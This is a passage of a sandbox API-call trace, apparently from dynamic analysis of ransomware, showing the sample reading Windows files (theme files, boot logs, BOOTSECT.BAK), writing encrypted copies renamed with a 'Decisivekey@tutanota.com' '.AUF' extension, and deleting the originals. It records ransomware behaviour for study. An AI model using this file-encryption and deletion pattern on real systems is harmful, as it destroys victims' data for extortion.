files\\microsoft shared\\themes14\\boldstri\\boldstri.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0225.570] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x2bdff1c | out: lpFileSize=0x2bdff1c*=596) returned 1 [0225.570] CloseHandle (hObject=0x228) returned 1 [0225.570] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.inf")) returned 0x20 [0225.570] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.inf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0225.570] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0225.570] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0225.570] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0225.570] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.inf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0225.570] GetLastError () returned 0x0 [0225.570] ReadFile (in: hFile=0x228, lpBuffer=0x36f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfed4, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesRead=0x2bdfed4*=0x254, lpOverlapped=0x0) returned 1 [0225.571] WriteFile (in: hFile=0x200, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0x260, lpNumberOfBytesWritten=0x2bdfc9c, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2bdfc9c*=0x260, lpOverlapped=0x0) returned 1 [0225.572] ReadFile (in: hFile=0x228, lpBuffer=0x36f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfed4, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesRead=0x2bdfed4*=0x0, lpOverlapped=0x0) returned 1 [0225.572] WriteFile (in: hFile=0x200, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc9c, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2bdfc9c*=0xec, lpOverlapped=0x0) returned 1 [0225.572] SetEndOfFile (hFile=0x200) returned 1 [0225.572] CloseHandle (hObject=0x200) returned 1 [0225.572] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0225.572] SetEndOfFile (hFile=0x228) returned 1 [0225.573] CloseHandle (hObject=0x228) returned 1 [0225.573] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0225.573] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.inf")) returned 1 [0225.573] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF") returned 77 [0225.573] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF") returned 77 [0225.573] lstrlenW (lpString=".doc") returned 4 [0225.573] lstrcmpiW (lpString1=".doc", lpString2=".INF") returned -1 [0225.573] lstrlenW (lpString=".docx") returned 5 [0225.573] lstrcmpiW (lpString1=".docx", lpString2="I.INF") returned -1 [0225.573] lstrlenW (lpString=".pdf") returned 4 [0225.573] lstrcmpiW (lpString1=".pdf", lpString2=".INF") returned 1 [0225.573] lstrlenW (lpString=".xls") returned 4 [0225.573] lstrcmpiW (lpString1=".xls", lpString2=".INF") returned 1 [0225.573] lstrlenW (lpString=".xlsx") returned 5 [0225.573] lstrcmpiW (lpString1=".xlsx", lpString2="I.INF") returned -1 [0225.574] lstrlenW (lpString=".ppt") returned 4 [0225.574] lstrcmpiW (lpString1=".ppt", lpString2=".INF") returned 1 [0225.574] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF") returned 77 [0225.574] lstrlenW (lpString=".zip") returned 4 [0225.574] lstrcmpiW (lpString1=".zip", lpString2=".INF") returned 1 [0225.574] lstrlenW (lpString=".rar") returned 4 [0225.574] lstrcmpiW (lpString1=".rar", lpString2=".INF") returned 1 [0225.574] lstrlenW (lpString=".bz2") returned 4 [0225.574] lstrcmpiW (lpString1=".bz2", lpString2=".INF") returned -1 [0225.574] lstrlenW (lpString=".7z") returned 3 [0225.574] lstrcmpiW (lpString1=".7z", lpString2="INF") returned -1 [0225.574] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF") returned 77 [0225.574] lstrlenW (lpString=".dbf") returned 4 [0225.574] lstrcmpiW (lpString1=".dbf", lpString2=".INF") returned -1 [0225.574] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF") returned 77 [0225.574] lstrlenW (lpString=".1cd") returned 4 [0225.574] lstrcmpiW (lpString1=".1cd", lpString2=".INF") returned -1 [0225.574] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF") returned 77 [0225.574] lstrlenW (lpString=".jpg") returned 4 [0225.574] lstrcmpiW (lpString1=".jpg", lpString2=".INF") returned 1 [0225.574] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF") returned 77 [0225.574] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF") returned 77 [0225.574] lstrlenW (lpString=".doc") returned 4 [0225.574] lstrcmpiW (lpString1=".doc", lpString2=".INF") returned -1 [0225.574] lstrlenW (lpString=".docx") returned 5 [0225.574] lstrcmpiW (lpString1=".docx", lpString2="I.INF") returned -1 [0225.574] lstrlenW (lpString=".pdf") returned 4 [0225.574] lstrcmpiW (lpString1=".pdf", lpString2=".INF") returned 1 [0225.574] lstrlenW (lpString=".xls") returned 4 [0225.574] lstrcmpiW (lpString1=".xls", lpString2=".INF") returned 1 [0225.574] lstrlenW (lpString=".xlsx") returned 5 [0225.574] lstrcmpiW (lpString1=".xlsx", lpString2="I.INF") returned -1 [0225.574] lstrlenW (lpString=".ppt") returned 4 [0225.574] lstrcmpiW (lpString1=".ppt", lpString2=".INF") returned 1 [0225.574] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF") returned 77 [0225.574] lstrlenW (lpString=".zip") returned 4 [0225.574] lstrcmpiW (lpString1=".zip", lpString2=".INF") returned 1 [0225.574] lstrlenW (lpString=".rar") returned 4 [0225.574] lstrcmpiW (lpString1=".rar", lpString2=".INF") returned 1 [0225.574] lstrlenW (lpString=".bz2") returned 4 [0225.574] lstrcmpiW (lpString1=".bz2", lpString2=".INF") returned -1 [0225.574] lstrlenW (lpString=".7z") returned 3 [0225.574] lstrcmpiW (lpString1=".7z", lpString2="INF") returned -1 [0225.574] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF") returned 77 [0225.574] lstrlenW (lpString=".dbf") returned 4 [0225.574] lstrcmpiW (lpString1=".dbf", lpString2=".INF") returned -1 [0225.574] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF") returned 77 [0225.574] lstrlenW (lpString=".1cd") returned 4 [0225.575] lstrcmpiW (lpString1=".1cd", lpString2=".INF") returned -1 [0225.575] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF") returned 77 [0225.575] lstrlenW (lpString=".jpg") returned 4 [0225.575] lstrcmpiW (lpString1=".jpg", lpString2=".INF") returned 1 [0225.575] lstrcmpiW (lpString1=".ELM", lpString2=".AUF") returned 1 [0225.575] lstrlenW (lpString="BREEZE.ELM") returned 10 [0225.575] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0225.575] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x2bdff1c | out: lpFileSize=0x2bdff1c*=107831) returned 1 [0225.575] CloseHandle (hObject=0x228) returned 1 [0225.575] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.elm")) returned 0x20 [0225.575] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.elm.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0225.575] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0225.575] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0225.576] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0225.576] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.elm.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0225.576] GetLastError () returned 0x0 [0225.576] ReadFile (hFile=0x228, lpBuffer=0x36f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfed4, lpOverlapped=0x0) Thread: id = 13 os_tid = 0x82c [0203.826] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x773b0000 [0203.826] GetProcAddress (hModule=0x773b0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x773dd650 [0203.826] Wow64DisableWow64FsRedirection (in: OldValue=0x2d1ff58 | out: OldValue=0x2d1ff58*=0x0) returned 1 [0203.826] lstrlenW (lpString="kernel32.dll") returned 12 [0203.826] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0203.826] Sleep (dwMilliseconds=0x64) [0204.086] lstrcmpiW (lpString1=".LOG", lpString2=".AUF") returned 1 [0204.086] lstrlenW (lpString="BCD.LOG") returned 7 [0204.086] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0204.086] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0204.086] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0204.086] lstrlenW (lpString=".doc") returned 4 [0204.086] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0204.086] lstrlenW (lpString=".docx") returned 5 [0204.086] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0204.086] lstrlenW (lpString=".pdf") returned 4 [0204.086] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0204.086] lstrlenW (lpString=".xls") returned 4 [0204.086] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0204.087] lstrlenW (lpString=".xlsx") returned 5 [0204.087] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0204.087] lstrlenW (lpString=".ppt") returned 4 [0204.087] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0204.087] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0204.087] lstrlenW (lpString=".zip") returned 4 [0204.087] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0204.087] lstrlenW (lpString=".rar") returned 4 [0204.087] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0204.087] lstrlenW (lpString=".bz2") returned 4 [0204.087] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0204.087] lstrlenW (lpString=".7z") returned 3 [0204.087] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0204.087] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0204.087] lstrlenW (lpString=".dbf") returned 4 [0204.087] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0204.087] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0204.087] lstrlenW (lpString=".1cd") returned 4 [0204.087] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0204.087] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0204.087] lstrlenW (lpString=".jpg") returned 4 [0204.087] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0204.087] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0204.087] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0204.087] lstrlenW (lpString=".doc") returned 4 [0204.087] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0204.087] lstrlenW (lpString=".docx") returned 5 [0204.087] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0204.087] lstrlenW (lpString=".pdf") returned 4 [0204.087] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0204.087] lstrlenW (lpString=".xls") returned 4 [0204.087] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0204.087] lstrlenW (lpString=".xlsx") returned 5 [0204.087] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0204.087] lstrlenW (lpString=".ppt") returned 4 [0204.087] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0204.087] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0204.087] lstrlenW (lpString=".zip") returned 4 [0204.087] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0204.087] lstrlenW (lpString=".rar") returned 4 [0204.087] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0204.087] lstrlenW (lpString=".bz2") returned 4 [0204.087] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0204.087] lstrlenW (lpString=".7z") returned 3 [0204.087] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0204.088] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0204.088] lstrlenW (lpString=".dbf") returned 4 [0204.088] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0204.088] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0204.089] lstrlenW (lpString=".1cd") returned 4 [0204.089] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0204.089] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0204.089] lstrlenW (lpString=".jpg") returned 4 [0204.089] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0204.090] lstrcmpiW (lpString1=".DAT", lpString2=".AUF") returned 1 [0204.090] lstrlenW (lpString="BOOTSTAT.DAT") returned 12 [0204.090] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0204.090] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=65536) returned 1 [0204.090] CloseHandle (hObject=0x17c) returned 1 [0204.090] GetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat")) returned 0x26 [0204.090] GetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\boot\\bootstat.dat.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0204.090] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0204.090] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0204.090] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0204.090] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\boot\\bootstat.dat.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0204.091] GetLastError () returned 0x0 [0204.091] ReadFile (in: hFile=0x17c, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x10000, lpOverlapped=0x0) returned 1 [0204.104] WriteFile (in: hFile=0x180, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x10010, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x10010, lpOverlapped=0x0) returned 1 [0204.106] ReadFile (in: hFile=0x17c, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0204.106] WriteFile (in: hFile=0x180, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0204.106] SetEndOfFile (hFile=0x180) returned 1 [0204.106] CloseHandle (hObject=0x180) returned 1 [0204.107] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0204.107] SetEndOfFile (hFile=0x17c) returned 1 [0204.111] CloseHandle (hObject=0x17c) returned 1 [0204.111] SetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x26) returned 1 [0204.111] DeleteFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat")) returned 1 [0204.112] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0204.112] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0204.112] lstrlenW (lpString=".doc") returned 4 [0204.112] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1 [0204.112] lstrlenW (lpString=".docx") returned 5 [0204.112] lstrcmpiW (lpString1=".docx", lpString2="T.DAT") returned -1 [0204.112] lstrlenW (lpString=".pdf") returned 4 [0204.112] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1 [0204.112] lstrlenW (lpString=".xls") returned 4 [0204.112] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1 [0204.112] lstrlenW (lpString=".xlsx") returned 5 [0204.112] lstrcmpiW (lpString1=".xlsx", lpString2="T.DAT") returned -1 [0204.112] lstrlenW (lpString=".ppt") returned 4 [0204.112] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1 [0204.112] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0204.112] lstrlenW (lpString=".zip") returned 4 [0204.112] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1 [0204.112] lstrlenW (lpString=".rar") returned 4 [0204.112] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1 [0204.112] lstrlenW (lpString=".bz2") returned 4 [0204.112] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1 [0204.112] lstrlenW (lpString=".7z") returned 3 [0204.112] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1 [0204.112] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0204.112] lstrlenW (lpString=".dbf") returned 4 [0204.112] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1 [0204.112] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0204.112] lstrlenW (lpString=".1cd") returned 4 [0204.112] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1 [0204.112] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0204.112] lstrlenW (lpString=".jpg") returned 4 [0204.112] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1 [0204.112] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0204.112] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0204.112] lstrlenW (lpString=".doc") returned 4 [0204.112] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1 [0204.112] lstrlenW (lpString=".docx") returned 5 [0204.112] lstrcmpiW (lpString1=".docx", lpString2="T.DAT") returned -1 [0204.112] lstrlenW (lpString=".pdf") returned 4 [0204.112] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1 [0204.112] lstrlenW (lpString=".xls") returned 4 [0204.112] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1 [0204.112] lstrlenW (lpString=".xlsx") returned 5 [0204.112] lstrcmpiW (lpString1=".xlsx", lpString2="T.DAT") returned -1 [0204.112] lstrlenW (lpString=".ppt") returned 4 [0204.113] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1 [0204.113] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0204.113] lstrlenW (lpString=".zip") returned 4 [0204.113] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1 [0204.113] lstrlenW (lpString=".rar") returned 4 [0204.113] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1 [0204.113] lstrlenW (lpString=".bz2") returned 4 [0204.113] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1 [0204.113] lstrlenW (lpString=".7z") returned 3 [0204.113] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1 [0204.113] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0204.113] lstrlenW (lpString=".dbf") returned 4 [0204.113] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1 [0204.113] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0204.113] lstrlenW (lpString=".1cd") returned 4 [0204.113] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1 [0204.113] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0204.113] lstrlenW (lpString=".jpg") returned 4 [0204.113] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1 [0204.113] lstrcmpiW (lpString1=".BAK", lpString2=".AUF") returned 1 [0204.113] lstrlenW (lpString="BOOTSECT.BAK") returned 12 [0204.113] CreateFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0204.114] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=8192) returned 1 [0204.114] CloseHandle (hObject=0x17c) returned 1 [0204.114] GetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak")) returned 0x27 [0204.114] GetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\bootsect.bak.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0204.114] SetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK", dwFileAttributes=0x26) returned 1 [0204.114] CreateFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0204.114] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0204.114] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0204.114] CreateFileW (lpFileName="C:\\BOOTSECT.BAK.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\bootsect.bak.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0204.121] GetLastError () returned 0x0 [0204.121] ReadFile (in: hFile=0x17c, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x2000, lpOverlapped=0x0) returned 1 [0204.138] WriteFile (in: hFile=0x170, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x2010, lpOverlapped=0x0) returned 1 [0204.139] ReadFile (in: hFile=0x17c, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0204.139] WriteFile (in: hFile=0x170, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: 